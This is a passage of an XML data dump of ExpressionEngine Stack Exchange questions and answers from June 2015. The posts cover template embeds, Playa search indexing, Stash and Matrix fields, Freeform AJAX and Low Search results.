  <row Id="31813" PostTypeId="2" ParentId="31812" CreationDate="2015-06-05T11:58:47.670" Score="1" Body="&lt;p&gt;I would suggeest pasing the site ID you need via am embed parameter al'a &lt;code&gt;{embed=&quot;siteA:sidebar/latest-news&quot; origin={site_id}}&lt;/code&gt; then using the &lt;code&gt;sites&lt;/code&gt; parameter in the internal comments tag to force the comments to be drawn from the other site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/code.html#specifying-multiple-sites-prepare-for-a-head-trip&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/sites/code.html#specifying-multiple-sites-prepare-for-a-head-trip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That might work as you'd be forcing the comments to be drawn from SiteA. &#xA;Another alternative might be to use the &lt;a href=&quot;https://devot-ee.com/add-ons/msm-site-url&quot; rel=&quot;nofollow&quot;&gt;MSM Site URL&lt;/a&gt; plugin with in the embedded template to get your site_url for siteA,  then build the URL yourself : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:msm_site_url site_short_name=sitea&quot;}/news/article/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-05T11:58:47.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31814" PostTypeId="2" ParentId="31810" CreationDate="2015-06-05T12:13:26.440" Score="0" Body="&lt;p&gt;That event won't fire on a syncronisation, think about the flow...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syncronisation happens after files are saved on the file system, it's designed to check the physical files and add any that are new to the database, it does not create files on upload and save them to the disk (which is where the &lt;code&gt;file_save_after&lt;/code&gt; event occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested, the sync code is on lines 1053 to 1178 of file &lt;code&gt;/system/expressionengine/controllers/cp/content_files.php&lt;/code&gt;. I've scanned this code and don't see an obvious hook to get on board with I'm afraid :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could generate a script to do this job for you though, you can borrow some code from the content_files.php file that will help you understand how it iterates. As you iterate you can check if tinypng has generated a file yet, if not you could copy the file somewhere, delete it via the filemanager then re-add it. Re-adding the file from the temp locatio back into filemanager should cause the &lt;code&gt;file_save_after&lt;/code&gt; event to fire!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-05T12:13:26.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31815" PostTypeId="2" ParentId="31684" CreationDate="2015-06-05T12:16:37.437" Score="0" Body="&lt;p&gt;This issue has been fixed with &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/log#release-charge-1.9.4&quot; rel=&quot;nofollow&quot;&gt;Charge 1.9.4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2015-06-05T12:16:37.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31816" PostTypeId="1" CreationDate="2015-06-05T14:22:02.177" Score="3" ViewCount="61" Body="&lt;p&gt;Using Playa setup in a standard way… (ex. I have a channel of Videos and a channel of Papers. In the Video entry, the admin has a playa where they drag over any related Papers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I've noticed is that if there is a change to a Paper's Title, the related Video's searchable data doesn't pick up that change (ex. have an existing relationship between Video/Paper, change the paper title, the new title will be right when output in the template, but native search does not reflect the new title where it's related — so a search for the new title doesn't help you find the video.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes sense as my understanding is that:&#xA;* You create a relationship in an entry&#xA;* When you save that entry Playa copies the Title of the related item into exp_channel_data for search purposes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I need to make sure that exp_channel_data gets updated when that related title of the related item changes to keep native search working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into this/found a workaround? The only thing I've found is to re-save all the entries after a Title change, but that's really not a sustainable fix :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3895" LastEditorUserId="3895" LastEditDate="2015-06-05T15:42:13.983" LastActivityDate="2015-11-03T11:43:29.417" Title="Playa Title Changes and Native Search" Tags="|playa|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31817" PostTypeId="2" ParentId="31816" CreationDate="2015-06-05T16:54:14.123" Score="1" Body="&lt;p&gt;I've run up a test and can confirm this bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I can see that if you edit/submit (no change) the parent (playa holding) entry the child title is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to fix I beleive the easiest approch would be to develop an extension, look for entry_saved events on entries with ID's that are in the &lt;code&gt;exp_playa_relationships.child_entry_id&lt;/code&gt; column, and if so 'touch' the parent too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, report it to P&amp;amp;T as a bug... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Posts : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3510/how-can-i-bulk-update-the-matrix-search-index-without-re-saving-each-entry&quot;&gt;How can I bulk update the Matrix search index without re-saving each entry?&lt;/a&gt; (same effect, different module!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found a nice little bit o info to help you out, you'll have to create your extension, hook the &lt;code&gt;entry_submission_end&lt;/code&gt; event in your extension, then you'll need a function like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _ChekcUpdateParentChannelData($entryId, $meta){&#xA;    $res = ee()-&amp;gt;db-&amp;gt;select('parent_entry_id')&#xA;                   -&amp;gt;where('child_entry_id', $entryId)&#xA;                   -&amp;gt;get('playa_relationships');&#xA;    if ( $res-&amp;gt;num_rows() &amp;gt; 0 ) {&#xA;        //aha, this is a child entry, get all the children of the parent!&#xA;        //you'll need to fetch ALL the child entry_id's, url_titles and &#xA;        //Titles, assuming we have these in an array now called $children&#xA;&#xA;        //from ft.playa.php line 2714, this is the code that sets the channel_data table&#xA;        $keywords = &quot;&quot;;&#xA;        foreach ($children as $entry)&#xA;        {&#xA;            $keywords .= ($keywords ? &quot;\n&quot; : '') . &quot;[{$entry['entry_id']}] [{$entry['url_title']}] &quot;.str_replace('\'', '', $entry['title']);&#xA;        }&#xA;&#xA;        //we now have a data to stick back into the channel_data&#xA;        //so here write an update query, where entry_id = parent &#xA;        //entry_id set the field_XX to $keywords &#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lots to fill in there, but you should get there. Let us know if you contact P&amp;amp;T and if they are going to patch or not. If they don't I might be inclined to write a 3rd party utility for this, and also for grid n matrix too if they still exhibit the same behaviour!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-06-05T17:10:29.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31818" PostTypeId="1" AcceptedAnswerId="31842" CreationDate="2015-06-05T17:18:39.327" Score="1" ViewCount="91" Body="&lt;p&gt;I have the following Stash variable list to get the related author of an article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:playa:children var_prefix=&quot;children&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;        {stash:author_name}{children:title}{/stash:author_name}&#xA;        {stash:author_bio}{children:profile_bio}{/stash:author_bio}&#xA;        {stash:item_entry_id}{children:entry_id}{/stash:item_entry_id}&#xA;&#xA;    {exp:stash:set_list:nested name=&quot;related_entries&quot; context=&quot;{children:entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;        {!-- Matrix tag pair --}&#xA;        {profile_social_media}&#xA;            {stash:related_title}{url}{/stash:related_title}&#xA;        {/profile_social_media}&#xA;    {/exp:stash:set_list:nested}&#xA;&#xA;    {/exp:playa:children}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but struggling to then get the social media profiles contained within a Matrix field for that related author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the wrapper we have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:get_list name=&quot;my_list&quot;}&#xA;    &amp;lt;div class=&quot;{switch='row|rowAlt'}&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{author_name} (item {count} of {absolute_results})&amp;lt;/h1&amp;gt;&#xA;&#xA;    {author_bio}&#xA;&#xA;    {exp:stash:get_list:nested name=&quot;related_entries&quot; context=&quot;{item_entry_id}&quot; prefix=&quot;nested&quot;}&#xA;            &amp;lt;div class=&quot;{nested:switch='row|rowAlt'}&quot;&amp;gt;&#xA;                {related_title} (Related item {nested:count} of {nested:absolute_results})&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Author name and bio are fine, just not the Matrix rows.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-06-09T11:25:40.507" Title="getting the Matrix rows of a Playa entry" Tags="|matrix|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31819" PostTypeId="1" CreationDate="2015-06-05T19:23:02.713" Score="1" ViewCount="1780" Body="&lt;p&gt;Having issues trying to wrap logic inside of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, it seems my &quot;if/else&quot; statements get printed instead of parsed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, if I do something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT a_field FROM some_table&quot;}&#xA;&amp;lt;script&amp;gt;&#xA;{if &quot;{a_field}&quot; == &quot;&quot;}&#xA;var field = &quot;some value&quot;;&#xA;{if:else}&#xA;var field = &quot;{a_field}&quot;;&#xA;{/if}&#xA;&amp;lt;/script&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would think it would output &lt;code&gt;var field = &quot;some value&quot;;&lt;/code&gt; if the field is empty, else output &lt;code&gt;var field = &quot;{a_field}&quot;;&lt;/code&gt;. In actuality, it will output the actual logic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., the above would actually output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;{if &quot;field value&quot; == &quot;&quot;}&#xA;var field = &quot;field value&quot;;&#xA;{if:else}&#xA;var field = &quot;field value&quot;;&#xA;{/if}&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;{if &quot;&quot; == &quot;&quot;}&#xA;var field = &quot;&quot;;&#xA;{if:else}&#xA;var field = &quot;&quot;;&#xA;{/if}&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I move the logic outside of the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, or simply remove them, the logic is parsed as expected. Never ran across this before, so hoping someone has some insight...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. using EE 2.8.1 and (if it matters) PHP 5.4.39 for testing currently.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2015-06-05T19:33:29.890" Title="Conditional logic inside of &lt;script&gt; tags" Tags="|conditionals|javascript|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31820" PostTypeId="2" ParentId="31819" CreationDate="2015-06-05T19:33:29.890" Score="3" Body="&lt;p&gt;OK, I feel like an idiot! Forgot about the Javascript template type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: I simply created a new template, designated it as type &quot;JavaScript&quot;, inserted my code, minus the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, then did &lt;code&gt;&amp;lt;script src=&quot;{path=&quot;paht_to_js_template&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple ;)&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2015-06-05T19:33:29.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31821" PostTypeId="1" CreationDate="2015-06-05T20:59:58.033" Score="0" ViewCount="116" Body="&lt;p&gt;I am importing data from another site via a module i am building. The channel I am importing to has a matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing this like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ee()-&amp;gt;load-&amp;gt;library('api');&#xA;    ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;    ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;    $data = array(&#xA;        'title' =&amp;gt; 'TEST'&#xA;    );&#xA;    ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($this-&amp;gt;customer_channel_id, $data);&#xA;    $success = ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, $this-&amp;gt;customer_channel_id);&#xA;&#xA;    $entry_id = ee()-&amp;gt;api_channel_entries-&amp;gt;entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem i am having is this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Illegal string offset 'is_draft'&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2409&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Illegal string offset 'is_draft'&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2461&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2015-06-05T22:27:52.097" LastActivityDate="2016-06-12T04:26:09.013" Title="Import data into EE database in a module - matrix error" Tags="|matrix|pixelandtonic|module|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31822" PostTypeId="2" ParentId="31821" CreationDate="2015-06-06T16:28:16.567" Score="0" Body="&lt;p&gt;Would it be possible to get you to export the exp_matrix_data? There are a couple of scenarios that I can think could be causing this issue. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check and make sure that there is a a column for 'is_draft'. If you do not see one you need to manually or see the syntax below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;      $this-&amp;gt;EE-&amp;gt;dbforge-&amp;gt;add_column('matrix_data', array(&#xA;          'is_draft' =&amp;gt; array('type' =&amp;gt; 'TINYINT', 'constraint' =&amp;gt; '1', 'unsigned' =&amp;gt; TRUE, 'default' =&amp;gt; 0),          ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that column is there can you provide both the export and sample file of the data being imported?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3356" LastActivityDate="2015-06-06T16:28:16.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31823" PostTypeId="2" ParentId="18867" CreationDate="2015-06-07T17:39:00.620" Score="1" Body="&lt;p&gt;There was a change in Assets 2.2.3, &quot;config settings no longer require slashes in the array values&quot;. If you want Asset to ignore PHP, HTML and JavaScript files, you can try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_ignore_file_patterns'] = array('^.*\.(php|html|htm|js)$');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Important step: after changing the config, you have to update the indexes.&lt;/p&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="6245" LastEditDate="2015-06-07T17:52:19.353" LastActivityDate="2015-06-07T17:52:19.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31824" PostTypeId="1" CreationDate="2015-06-07T22:19:21.957" Score="0" ViewCount="146" Body="&lt;p&gt;I'm using a freeform with ajax but the response comes back as index.php?ACT=11 and not JSON and therefore I can't manipulate the response. How can I have freeform return JSON instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;form_name=&quot;contact_me&quot;&#xA;required=&quot;first_name|last_name|email|user_message&quot;&#xA;recipients=&quot;no&quot;&#xA;inline_errors=&quot;yes&quot;&#xA;admin_notify=&quot;you@me.com&quot;&#xA;notify_admin=&quot;yes&quot;&#xA;admin_notification_template=&quot;contact_form&quot;&#xA;form:id=&quot;contact-form&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My ajaxForm code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;$('#contact-form').ajaxForm({ &#xA;    target: '#form-response',&#xA;    success: function() {&#xA;                    //$('.formText').hide();&#xA;        $('#form-response').fadeIn('slow');&#xA;    }&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1961" LastActivityDate="2015-10-01T03:04:14.673" Title="Freeform AJAX not returning JSON" Tags="|solspace-freeform|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31825" PostTypeId="2" ParentId="31647" CreationDate="2015-06-08T06:36:07.210" Score="1" Body="&lt;p&gt;I had to set 'Restrict allowed HTML' to no in my Wygwam fieldtype. That did it.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-06-08T06:36:07.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31827" PostTypeId="1" AcceptedAnswerId="31828" CreationDate="2015-06-08T16:12:05.767" Score="0" ViewCount="33" Body="&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/settings_order_statuses.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/settings_order_statuses.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are the two boxes containing email templates, which box should contain the emails I want to send?&lt;/p&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2015-06-08T16:44:03.827" Title="Order Status Email Fields... which box is being used?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31828" PostTypeId="2" ParentId="31827" CreationDate="2015-06-08T16:44:03.827" Score="2" Body="&lt;p&gt;The left panel is where you search for/browse the available emails, and the right panel is where the email(s) you've selected appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally in all EE add-ons with split-select interfaces like this, the left panel is the source, and the right panel is the selection (see the native Relationships field and Playa as examples).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-08T16:44:03.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31830" PostTypeId="1" CreationDate="2015-06-08T17:40:28.047" Score="0" ViewCount="72" Body="&lt;p&gt;I have three templates, simplified here for your digestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First One:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;giving/.giving_meta&quot;}&#xA;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;Guide To Giving&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Integer lacinia sollicitudin massa. Cras metus. Sed aliquet risus a tortor. Integer id quam. Morbi mi. Quisque nisl felis, venenatis tristique, dignissim in, ultrices sit amet, augue. Proin sodales libero eget ante. Nulla quam. Aenean laoreet. Vestibulum nisi lectus, commodo ac, facilisis ac, ultricies eu, pede. Ut orci risus, accumsan porttitor, cursus quis, aliquet eget, justo. &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;Greatest Needs&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Integer lacinia sollicitudin massa. Cras metus. Sed aliquet risus a tortor. Integer id quam. Morbi mi. Quisque nisl felis, venenatis tristique, dignissim in, ultrices sit amet, augue. Proin sodales libero eget ante. Nulla quam. Aenean laoreet. Vestibulum nisi lectus, commodo ac, facilisis ac, ultricies eu, pede. Ut orci risus, accumsan porttitor, cursus quis, aliquet eget, justo. &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;Impact&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Integer lacinia sollicitudin massa. Cras metus. Sed aliquet risus a tortor. Integer id quam. Morbi mi. Quisque nisl felis, venenatis tristique, dignissim in, ultrices sit amet, augue. Proin sodales libero eget ante. Nulla quam. Aenean laoreet. Vestibulum nisi lectus, commodo ac, facilisis ac, ultricies eu, pede. Ut orci risus, accumsan porttitor, cursus quis, aliquet eget, justo. &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Onward, I have .giving_meta:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;master_templates/.backpage}&#xA;     {layout:set name=&quot;title&quot;}MyTitle{/layout:set}&#xA;        {layout:set name=&quot;department&quot;}Department{/layout:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally my .backpage template (again, abridged for utility):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a bunch of html&amp;gt;&#xA;{layout:contents}&#xA;&amp;lt;more HTML and stuff, the end&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{layout:contents} is not making it to the third and final template.  It arrives just fine if I point the first template to .backpage directly, but otherwise it's a no show.  Any ideas?  I'm on EE 2.9.2.&lt;/p&gt;&#xA;" OwnerUserId="6182" LastActivityDate="2016-06-04T14:48:03.647" Title="layout:contents not showing up in nested template" Tags="|template-partials|template-layouts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31831" PostTypeId="1" CreationDate="2015-06-08T19:47:53.047" Score="0" ViewCount="233" Body="&lt;p&gt;I have a search form composed of category select fields. When choosing a particular category (2 Bedroom / 2 Bath) the results page isn't showing all entries. But, when viewing the &quot;all floor plans&quot; page and selecting &quot;Two Bedrooms&quot; I can see every entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why the Low Search form wouldn't be showing every entry from a selected category? The form seems to work, as it shows &lt;em&gt;some&lt;/em&gt; of the entries, but why wouldn't it show &lt;em&gt;all&lt;/em&gt; entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the search form where you can select the 2 Bedroom / 2 Bath option under &quot;Number of bedrooms?&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://l45living.com/floor-plans&quot; rel=&quot;nofollow&quot;&gt;http://l45living.com/floor-plans&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the page listing all &quot;Two Bedrooms&quot; entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://l45living.com/floor-plans/all/two-bedrooms&quot; rel=&quot;nofollow&quot;&gt;http://l45living.com/floor-plans/all/two-bedrooms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how there are many more entries displayed on the &quot;all/two-bedrooms&quot; page. Template code (edited for brevity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;  form_id=&quot;floor-plan-search&quot;&#xA;  query=&quot;{freebie_3}&quot;&#xA;  result_page=&quot;/floor-plans/search#floor-plans&quot;&#xA;}&#xA;  &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Show me all the options!&amp;lt;/option&amp;gt;&#xA;    {exp:channel:categories&#xA;      category_group=&quot;1&quot;&#xA;      show=&quot;not 4&quot;&#xA;      style=&quot;linear&quot;&#xA;    }&#xA;      &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;        {category_name}&#xA;      &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;  &amp;lt;/select&amp;gt;&#xA;{/exp:low_search:form}&#xA;&#xA;{exp:low_search:results&#xA;  channel=&quot;units&quot;&#xA;  orderby=&quot;title&quot;&#xA;  query=&quot;{freebie_3}&quot;&#xA;  require_all=&quot;category&quot;&#xA;  sort=&quot;asc&quot;&#xA;}&#xA;  ...results shown here...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2019-07-12T17:03:05.360" Title="Low Search results not showing all entries from a category" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31832" PostTypeId="1" AcceptedAnswerId="31849" CreationDate="2015-06-08T20:51:57.970" Score="0" ViewCount="76" Body="&lt;p&gt;I'm using the latest version of EE and DevDemon Forms. We have a form that works well. Our first field is an Email Route dropdown. This works as expected and sends an email to the correct person depending what is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like to use this same Email Route field for conditional logic as well. When we enable conditional logic on a field further down in the form, the Email Route field appears in the possible fields to use, however, no matter what we enter for &quot;value&quot;, the condition is never met.  We've tried to enter the label and the value from the Email Route field, but nothing seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use Email Route as both a route selector and as a conditional switch? &lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2015-06-10T00:48:48.097" Title="DevDemon Forms Email Route - Act as email switch and form feature switch?" Tags="|devdemon-forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31833" PostTypeId="1" AcceptedAnswerId="31839" CreationDate="2015-06-08T21:38:34.527" Score="0" ViewCount="386" Body="&lt;p&gt;I want to have some fallback text for when a snippet isn't available. I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{snip-start-to-end-dates}' != &quot;&quot;}&#xA;  {snip-start-to-end-dates}&#xA;{if:else}&#xA;  Long-term Installation&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;&#xA;Parser State: Unexpected ‘}” == “{exhibition_e…’ (STRING); expected RD in Template “XXXXXX/exhibitions” on line 25.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything in EE's documentation indicating a special way to check for snippets. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6121" LastActivityDate="2015-06-09T09:45:40.723" Title="How do I check for a null or blank snippet?" Tags="|conditionals|snippets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31834" PostTypeId="1" AcceptedAnswerId="31858" CreationDate="2015-06-08T23:47:34.400" Score="0" ViewCount="51" Body="&lt;p&gt;In BR's settings, it is possible to limit the number of products displayed in the catalog and paginate the results. However, that seems to set the limit for any and all catalogs referenced throughout the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is a way to limit it per template; for example on the main page, it is a separate template from the 'products' page, and a separate 'catalog'. I want to change the product results shown on the main page to something small, say, four products, while still allowing the products shown on the &quot;products&quot; page, to stay at the default setting of $N.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked through the BR docs and 'limit' does not seem to be an optional template variable or parameter. I've tried setting it by using {exp:channel:entries channel=&quot;channel-name&quot; limit=&quot;4&quot;} but no matter where I place it in the template, it just shows the default product count, set at 8, four times over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the same without the {exp:brilliant_retail:catalog} code and it displayed nothing, even though I was specifying the url_title. I also tried by category ID, I presume I have that info by hovering over the edit link in the BR category settings, I'm not entirely sure. But that did not work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I'm seeking to do? Maybe I'm just missing something obvious? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6317" LastActivityDate="2015-06-09T16:47:46.773" Title="Is it possible to limit display of products in the catalog on a per template basis in Brilliant Retail?" 